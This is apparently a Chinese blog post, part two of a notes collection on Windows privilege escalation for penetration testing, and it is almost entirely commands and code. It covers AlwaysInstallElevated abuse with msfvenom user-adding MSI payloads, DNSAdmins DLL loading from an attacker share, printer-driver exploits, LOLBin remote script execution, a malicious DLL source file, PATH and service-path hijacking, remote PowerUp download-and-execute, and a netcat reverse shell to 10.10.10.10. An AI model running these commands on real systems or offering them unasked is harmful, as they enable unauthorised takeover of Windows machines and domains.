WEB渗透Win提权篇-合集(下)

 完整20w字笔记: 夸克网盘分享 

AlwaysInstallElevated提权

>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

PS > Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
PS > Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
为1 检测是否永远以高权限启动安装
#HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
新建DWORD32 DisableMSI=0
>msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi
>msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi-nouac -o /root/add.msi
>upload /root/add.msi c:\\1.msi
>msiexec /quiet /qn /i c:\1.msi
MSF
>use exploit/windows/local/always_install_elevated
>set session 1
PowerUp
Get-RegistryAlwaysInstallElevated,Write-UserAddMSI

 

从administrator到system

>PsExec.exe -i -s cmd.exe

 

DNS组到DomainAdmin

DNSAdmins 组的成员可以加载具有 dns.exe (SYSTEM) 权限的任意 DLL。
需要权限才能重新启动 DNS 服务。
枚举 DNSAdmins 组的成员
>Get-NetGroupMember -GroupName "DNSAdmins"
>Get-ADGroupMember -Identity DNSAdmins
更改 DNS 服务加载的 dll
使用RSAT
>dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
>dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
使用DNSServer模块
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
检查上一条命令是否成功
>Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
重新启动 DNS
>sc \\dc01 stop dns
>sc \\dc01 start dns

 

打印机漏洞

https://github.com/jacob-baines/concealed_position
CVE-2021-35449 - Lexmark 通用打印驱动程序 LPE
CVE-2021-38085 - 佳能 TR150 打印驱动程序 LPE
CVE-2019-19363 - Ricoh PCL6 打印驱动程序 LPE
CVE-2020-1300 - Windows 打印后台处理程序 LPE
cp_server.exe -e ACIDDAMAGE
获取打印机
设置“高级共享设置”->“关闭密码保护共享”
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE

 

不安全的GUI应用程序

作为 SYSTEM 运行的应用程序允许用户生成 CMD 或浏览目录。
示例:“Windows 帮助和支持”(Windows + F1),搜索“命令提示符”,点击“单击打开命令提示符”

 

本机文件和脚本

https://lolbas-project.github.io/
LOLBin/Lib/脚本
必须是 Microsoft 签名的文件,可以是操作系统的本机文件,也可以是从 Microsoft 下载的文件。
具有对 APT 或红队有用的功能
>wmic.exe process call create calc
>regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
>Microsoft.Workflow.Compiler.exe tests.xml results.xml

 

WSL子系统

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者,探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

DLL劫持

以管理员/SYSTEM 身份运行且文件权限不正确的服务可能允许提权。可以替换文件,重新启动服务并获取系统权限。
查找缺少的 DLL 
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

编译一个恶意 dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

windows_dll.c的内容
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

 

环境变量优先

要求:

PATH 包含一个低权限的可写文件夹。
可写文件夹位于包含合法二进制文件的文件夹之前。
列出PATH环境变量的内容
例子: C:\Program Files\nodejs\;C:\WINDOWS\system32
PS >$env:Path

查看目标文件夹的权限
例子: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

将而已文件放在那个文件夹中
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
在本例中“C:\Program Files\nodejs”在 PATH 变量上的“C:\WINDOWS\system32”之前,所以下次用户运行“cmd.exe”时,nodejs 文件夹中的恶意版本将运行,而不是 system32 文件夹中的合法运行。

激活guest

>net user guest /active:yes

未引用的服务路径

>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
>wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
>gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
MSF
>use exploit/windows/local/trusted_service_path
>set session 1
PowerUp
发现存在漏洞的应用
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

...
[*] Checking for unquoted service paths...
ServiceName   : BBSvc
Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...

自动攻击
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto-2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值